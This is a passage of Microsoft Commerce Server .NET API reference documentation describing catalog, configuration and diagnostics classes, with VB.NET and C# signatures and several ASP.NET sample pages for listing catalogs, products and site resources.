Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
ProductId | Gets the ProductId.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ProductNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.Object
[C#]
public System.Object CatalogName {get;}

Property Value

The CatalogName object.

Remarks

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException.ProductId Property (BCL)

The ProductId property gets the product ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductId As System.Object
[C#]
public System.Object ProductId {get;}

Property Value

The ProductId object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Class (BCL)

The this class represents the result for a property in a specification search. The specification search API's return arrays of these results as part of the specification search process. Each result object represents a property and all of the distinct values for that property.

Public Instance Constructor

Constructor | Description
SpecificationSearchPropertyResult Constructor(String, Object[]) | Creates a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.

Public Instance Properties

Property | Description
Property | Gets the name of the property.
Values | Gets the possible values for the property as an array of objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Constructor (BCL)

Public Instance Constructor

Constructor | Description
SpecificationSearchPropertyResult Constructor(String, Object[]) | Creates a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.


SpecificationSearchPropertyResult Constructor (String, Object[]) (BCL)

Use this method to create a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal property As System.String, _
  ByVal values As System.Object[] _
)
[C#]
public SpecificationSearchPropertyResult(
  System.String property,
  System.Object[] values
);

Parameters

[Visual Basic .NET]
property
A String containing the name of the property. May not be null.
values
An Object array containing the list of possible values. May not be null.
[C#]
property
A String containing the name of the property. May not be null.
values
An Object array containing the list of possible values. May not be null.

Remarks

Throws a new ArgumentNullException if either argument value is null

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Properties (BCL)

Public Instance Properties

Property | Description
Property | Gets the name of the property.
Values | Gets the possible values for the property as an array of objects.


SpecificationSearchPropertyResult.Property Property (BCL)

The SpecificationSearchPropertyResult.Property property gets the name of the property.

Definition

[Visual Basic .NET]
Public ReadOnly Property Property As System.String
[C#]
public System.String Property {get;}

Property Value

A System.String containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult.Values Property (BCL)

The SpecificationSearchPropertyResult.Values property gets the possible values for the property as an array of objects.

Definition

[Visual Basic .NET]
Public ReadOnly Property Values As System.Object[]
[C#]
public System.Object[] Values {get;}

Property Value

A System.Object containing the possible values for the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Catalog Namespace

Examples

Example | Description
Code to List Catalogs on an ASP.NET Web Form | Describes how to list catalogs on an ASP.NET Web form.
Code to Navigate Catalog Categories on an ASP.NET Web Form | Describes how to navigate through catalog categories on an ASP.NET Web form.
Code to Navigate Catalog Products on an ASP.NET Web Form | Describes how to navigate through catalog products on an ASP.NET Web form.

See Also

Microsoft.CommerceServer.Runtime.Catalog


Code to list catalogs on an ASP.NET Web form

Use the following code to list catalogs on an ASP.NET Web form.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCatalogs();
        }
    }

    void ChangeCatalogBtn_Click(object source, EventArgs args) {
        SelectedCatalog.Text = @"You selected <b>" + CatalogListing.SelectedItem.Text + "</b>";
    }

    void UpdateCatalogs() {
        CatalogListing.DataSource = catalogCtx.CatalogNames;
        CatalogListing.DataBind();
    }

</script>

<html>
<head>
    <title>List Catalogs</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedCatalog"
            Text="No catalog selected"
            runat="server"/><br/>

        <asp:DropDownList
            id="CatalogListing"
            runat="server"/>

        <asp:Button
            id="ChangeCatalogBtn"
            OnClick="ChangeCatalogBtn_Click"
            Text="OK"
            runat="server"/>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Code to navigate Catalog categories on an ASP.NET Web form

Use the following code to navigate through catalog categories on an ASP.NET Web form.

<%@ Page Language="C#" Trace="False" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;
    string catalogName = @"Adventure Works Catalog";

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCategories();
        }
    }

    void RootCategoryListing_ItemCommand(object source, RepeaterCommandEventArgs args) {
        SelectedCategory.Text = @"You selected <b>" + args.CommandArgument + "</b>";
    }

    void UpdateCategories() {
        RootCategoryListing.DataSource = catalogCtx.GetCatalog(catalogName).GetRootCategories();
        RootCategoryListing.DataBind();
    }

</script>

<html>
<head>
    <title>List Categories</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedCategory"
            Text="No category selected"
            runat="server"/><br/><br/>

        <asp:Repeater
            id="RootCategoryListing"
            OnItemCommand="RootCategoryListing_ItemCommand"
            runat="server">

            <HeaderTemplate>
                <h2>Categories:</h2>
            </HeaderTemplate>

            <ItemTemplate>

                <asp:LinkButton
                    id="SelectCategoryBtn"
                    CommandName="Select"
                    CommandArgument='<%# ((DataRowView)Container.DataItem)["CategoryName"] %>'
                    runat="server">

                    <%# DataBinder.Eval(Container.DataItem, "CategoryName") %>

                </asp:LinkButton>

            </ItemTemplate>

            <SeparatorTemplate>
                <p/>
            </SeparatorTemplate>

        </asp:Repeater>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Code to navigate Catalog products on an ASP.NET Web form

Use the following code to navigate through catalog products on an ASP.NET Web form.

<%@ Page Language="C#" Trace="False" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;
    string catalogName = @"Adventure Works Catalog";

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCategories();
        }
    }

    void UpdateCategories() {
        RootCategoryListing.DataSource = catalogCtx.GetCatalog(catalogName).GetRootCategories();
        RootCategoryListing.DataBind();
    }

    void ProductListing_ItemCommand(object source, RepeaterCommandEventArgs args) {

        // The product id is set as part of the LinkButtons dynamically created
        // by the Repeater control.
        string productId = (string)args.CommandArgument;

        // Retrieve the details for the selected product from the Catalog
        // System.
        DataSet details =
            catalogCtx.GetCatalog(catalogName).GetProduct(productId).GetProductProperties();

        // The default row of the returned DataSet contains the product
        // details.
        DataRow product      = details.Tables[0].Rows[0];
        SelectedProduct.Text = @"You selected <b>" + (string)product["Name"] + "</b>";
        ProductID.Text       = @"Product ID: <b>" + (string)product["ProductID"] + "</b>" ;
        Desc.Text            = @"Description: <b>" + (string)product["Description"] + "</b>";
    }

    // This method is used by the nested Repeater controls used for iterating
    // through the available products in a particular category.
    DataSet GetProductListing(string category) {
        return catalogCtx.GetCatalog(catalogName).GetCategory(category).GetProducts();
    }

</script>

<html>
<head>
    <link rel="stylesheet" href="../util/style.css">
    <title>List Products</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedProduct"
            Text="No product selected"
            runat="server"/><br/>

        <asp:Label
            id="ProductID"
            runat="server"/><br/>

        <asp:Label
            id="Desc"
            runat="server"/><br/>

        <asp:Repeater
            id="RootCategoryListing"
            runat="server">

            <HeaderTemplate>
                <h2>Categories:</h2>
            </HeaderTemplate>

            <ItemTemplate>
                <p>
                <b><%# (string)((DataRowView)Container.DataItem)["CategoryName"] %></b><br/>

                    <asp:Repeater
                        id="ProductListing"
                        OnItemCommand="ProductListing_ItemCommand"
                        DataSource='<%# GetProductListing((string)((DataRowView)Container.DataItem)["CategoryName"]) %>'
                        runat="server">

                        <ItemTemplate>

                            <asp:LinkButton
                                id="SelectProductBtn"
                                CommandName="Select"
                                CommandArgument='<%# ((DataRowView)Container.DataItem)["ProductID"] %>'
                                runat="server">

                                <%# (string)((DataRowView)Container.DataItem)["Name"] %>

                            </asp:LinkButton>

                        </ItemTemplate>

                        <SeparatorTemplate>
                            ,&nbsp;
                        </SeparatorTemplate>

                    </asp:Repeater>
                </p>
            </ItemTemplate>

            <SeparatorTemplate>
                <p/>
            </SeparatorTemplate>

        </asp:Repeater>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Microsoft.CommerceServer.Runtime.Configuration

The Microsoft.CommerceServer.Runtime.Configuration namespace contains the configuration section handlers for the Commerce Server .NET Application Framework.

Classes

Class | Description
CommerceResource | Represents the collection of configuration properties for a site resource.
CommerceResourceCollection | Represents the collection of site resources for a given site.

Examples

Example | Description
Code to Read a Resource Collection and Display Its Contents | Describes how to read a Commerce resource collection and display the contents.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceResource Class (BCL)

Represents the collection of configuration properties for a site resource.

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the property names of all the resource properties in the resource.

Public Instance Properties

Property | Description
Item(String) | Indexer to retrieve a resource property given the property name.
MajorVersion | Gets an Int32 representing the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.
MinorVersion | Gets an Int32 representing the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.
Name | Gets the name of the resource.
Revision | Gets an Int32 representing the revision number of the resource. If the version number of the resource is 1.2.3, the Revision property is 3.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource Methods (BCL)

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the property names of all the resource properties in the resource.


CommerceResource.GetEnumerator Method (BCL)

Use this method to get an enumerator for enumerating the property names of all the resource properties in the resource.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An enumerator for enumerating the property names of all the resource properties in the resource.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Indexer to retrieve a resource property given the property name.
MajorVersion | Gets an Int32 representing the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.
MinorVersion | Gets an Int32 representing the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.
Name | Gets the name of the resource.
Revision | Gets an Int32 representing the revision number of the resource. If the version number of the resource is 1.2.3, the Revision is property 3.


CommerceResource.Item Property (BCL)

The Item property is a read-only object that retrieves a resource property for the given property name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property whose value is retrieved.
[C#]
propertyName
The name of the property whose value is retrieved.

Property Value

The value of the propertyName parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.MajorVersion Property (BCL)

The MajorVersion property is a read-only Int32 that represents the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.

Definition

[Visual Basic .NET]
Public ReadOnly Property MajorVersion( _
  ) As System.Int32
[C#]
public System.Int32 MajorVersion(
  ) {get;}

Property Value

An Int32 that represents the version number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.MinorVersion Property (BCL)

The MinorVersion property is a read-only Int32 that represents the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.

Definition

[Visual Basic .NET]
Public ReadOnly Property MinorVersion( _
  ) As System.Int32
[C#]
public System.Int32 MinorVersion(
  ) {get;}

Property Value

The Int32 that represents the minor version number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.Name Property (BCL)

The Name property is a read-only String that contains the name of the resource.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The name of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.Revision Property (BCL)

The Revision property is a read-only Int32 that represents the revision number of the resource. If the revision number of the resource is 1.2.3, the Revision property is 3.

Definition

[Visual Basic .NET]
Public ReadOnly Property Revision( _
  ) As System.Int32
[C#]
public System.Int32 Revision(
  ) {get;}

Property Value

An Int32 that represents the revision number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Class (BCL)

Represents the collection of site resources for a given site.

Public Instance Constructor

Constructor | Descriptions
CommerceResourceCollection Constructor(String) | Creates a new instance of the CommerceResourceCollection class for the specified site.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports an iteration over the collection of resources.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(String) | Indexer to allow for accessing a resource based on the resource name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Constructor (BCL)

Public Instance Constructor

Constructor | Descriptions
CommerceResourceCollection Constructor(String) | Creates a new instance of the CommerceResourceCollection class for the specified site.


CommerceResourceCollection Constructor (String) (BCL)

Use this method to create a new instance of the CommerceResourceCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal siteName As System.String _
)
[C#]
public CommerceResourceCollection(
  System.String siteName
);

Parameters

[Visual Basic .NET]
siteName
The name of the site for which to read resource configuration information. May not be null.
[C#]
siteName
The name of the site for which to read resource configuration information. May not be null.

Return Value

Throws an ArgumentNullException if the siteName parameter is null.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports an iteration over the collection of resources.


CommerceResourceCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy resources to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.GetEnumerator Method (BCL)

Use this method to support an iteration over the collection of resources.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Enumerator for the values in the collection.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(String) | Indexer to allow for accessing a resource based on resource name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.


CommerceResourceCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a resource based on the resource name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal resourceName As System.String _
) As CommerceResource
[C#]
public CommerceResource Item(
  System.String resourceName
) {get;}

Parameters

[Visual Basic .NET]
resourceName
The name of the resource.
[C#]
resourceName
The name of the resource.

Property Value

An indexer allowing for access to a resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Configuration Namespace

Examples

Example | Description
Code to Read a Resource Collection and Display Its Contents | Describes how to read a Commerce resource collection and display the contents.


Code to Read a Resource Collection and Display Its Contents

Use the following code to read a Commerce resource collection and display its contents:

<%@ Import Namespace="System.Collections" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Configuration" %>
<%@ Page Language="C#" Debug=true%>
<HTML>
   <HEAD>
      <title>Resource Collection</title>
      <script language="C#" runat="server">
void Page_Load(object source, EventArgs args)
{
   if (!IsPostBack)
   {
      DisplayResources();
      btnProperties.Text = "Display Properties";
   }
}
///
/// This function gets the resource collection and binds it
/// to the drop-down list.
///
void DisplayResources()
{
   try
   {
      CommerceResourceCollection resCollection = null;
      // Check that the CommerceContext object for this request is
      // not null.
      if (CommerceContext.Current == null)
      {
         throw new Exception("CommerceContext object is null.Please check settings in web.config");
      }
      // Get the resource collection.
      resCollection = CommerceContext.Current.Resources;
      // resCollection.Count contains the number of resources.
      string[] resArray = new string[resCollection.Count];
      int resIndex =0;
      // Iterate through the resource collection and build the
      // string array.
      foreach (CommerceResource resource in resCollection)
      {
         resArray[resIndex++] = resource.Name;
      }
      // Bind the array to the drop-down list.
      lbResources.DataSource = resArray;
      lbResources.DataBind();
   }
   catch(Exception ex)
   {
      // Exception handling.
      throw new Exception("An error occurred", ex);
   }
}
///
/// Displays the properties for the selected resource.
///
void DisplayPropertiesBtn_Click(object source, EventArgs args)
{
   string resourceName;
   CommerceResource resource ;
   try
   {
      CommerceResourceCollection resCollection = null;
      // Check that the CommerceContext object for this request is
      // not null.
      if (CommerceContext.Current == null)
      {
         throw new Exception("CommerceContext object is null.");
      }
      // Get the resource collection.
      resCollection = CommerceContext.Current.Resources;
      // Get the resource name whose properties are to be displayed.
      resourceName = lbResources.SelectedItem.Text.Trim();
      // Index the resource collection using the resource name to get the
      // configuration properties for this resource.
      resource = resCollection[resourceName];

      // Display the Name, MajorVersion, MinorVersion, and Revision
      // properties of the resource.
      lblResourceName.Text = String.Format("Resource Name = {0}", resource.Name);
      lblMajorVersion.Text = String.Format("Major Version = {0}", resource.MajorVerion);
      lblMinorVersion.Text = String.Format("Minor Version = {0}", resource.MinorVersion);
      lblRevision.Text    = String.Format("Revision = {0}", resource.Revision);

      // Build a hash table containing each property and its value.
      Hashtable hashTable = new Hashtable();
      // The value of a property can be accessed by indexing the
      // resource using property name.
      foreach (string propName in resource)
      {
         hashTable.Add(propName, resource[propName]);
      }
      // Bind the properites to the repeater
      LineItemRepeater.DataSource = hashTable;
      LineItemRepeater.DataBind();
   }
   catch(Exception ex)
   {
      throw new Exception("An error occurred", ex);
   }
}
      </script>
   </HEAD>
   <body>
      <form runat="server">
         <asp:DropDownList id="lbResources" runat="server" />
         <asp:Button id="btnProperties" OnClick="DisplayPropertiesBtn_Click" runat="server" />
         <asp:table width="500" Runat="server">
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblResourceName" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblMajorVersion" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblMinorVersion" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblRevision" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
         </asp:table>
         <asp:repeater id="LineItemRepeater" runat="server">
            <ItemTemplate>
               <asp:Table runat="server" GridLines="both" BorderWidth="1px">
                  <asp:TableRow>
                     <asp:TableCell id="label1" width="50%">
                        <%# DataBinder.Eval(Container.DataItem ,"Key")%>
                     </asp:TableCell>
                     <asp:TableCell font-bold="true" id="label2" width="50%">
                        <%# DataBinder.Eval(Container.DataItem ,"Value")%>
                     </asp:TableCell>
                  </asp:TableRow>
               </asp:Table>
            </ItemTemplate>
         </asp:repeater>
      </form>
   </body>
</HTML>


Microsoft.CommerceServer.Runtime.Diagnostics

The classes in the Microsoft.CommerceServer.Runtime.Diagnostics namespace contain the debugging functionality needed for the Commerce Server .NET Application Framework.

Classes

Class | Description
ConsoleDebugContext | Represents the current debugging level for a non-Web based application. Contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.
DebugContext | Represents the current debugging level for the application. This object sets the debug mode and contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.
DumpUtils | Contains utility methods useful for dumping out the data in various Commerce Server and Interop objects.
WebDebugContext | Represents the current debugging level for the application and has methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Enumerations

Enumeration | Description
DebugMode | Enumerates the possible debug mode settings.
DumpUtils_ContainerType | Protected enumeration of the different container object types supported.

See Also

Commerce Server .NET Application Framework Tutorial


ConsoleDebugContext Class (BCL)

The ConsoleDebugContext class represents the current debugging level for a non-Web based application. The class contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Public Instance Constructor

Constructor | Description
ConsoleDebugContext(DebugContext) Constructor | Creates a new instance of the ConsoleDebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to True if the current DebugMode property is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ConsoleDebugContext(DebugContext) Constructor | Creates a new instance of the ConsoleDebugContext class.


ConsoleDebugContext(DebugContext) Constructor (BCL)

Use this method to create a new instance of the ConsoleDebugContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal dbgMode As DebugMode
)
[C#]
public DebugContext(
 DebugMode dbgMode
);

Parameters

[Visual Basic .NET]
dbgMode
Debug mode enumerator.
[C#]
dbgMode
Debug mode enumerator.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.


ConsoleDebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

Definition

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Error:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

Definition

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Error:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

Definition

[Visual Basic .NET]
Overrides Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

Definition

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
